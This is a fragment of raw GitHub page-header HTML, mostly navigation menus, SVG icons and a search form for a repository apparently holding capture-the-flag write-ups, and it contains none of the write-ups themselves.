color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="66765511" data-scoped-search-url="/Idomin/CTF-Writeups/search" data-owner-scoped-search-url="/users/Idomin/search" data-unscoped-search-url="/search" data-turbo="false" action="/Idomin/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="Eccb4u4JqVMKcBEpuM3kpUDKwhgabRXYz9h/ZYQ8BVYBzQvNmxq+TQTJi6kZBmW3v1Q4TtP/7vHFRORGBcfVZA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 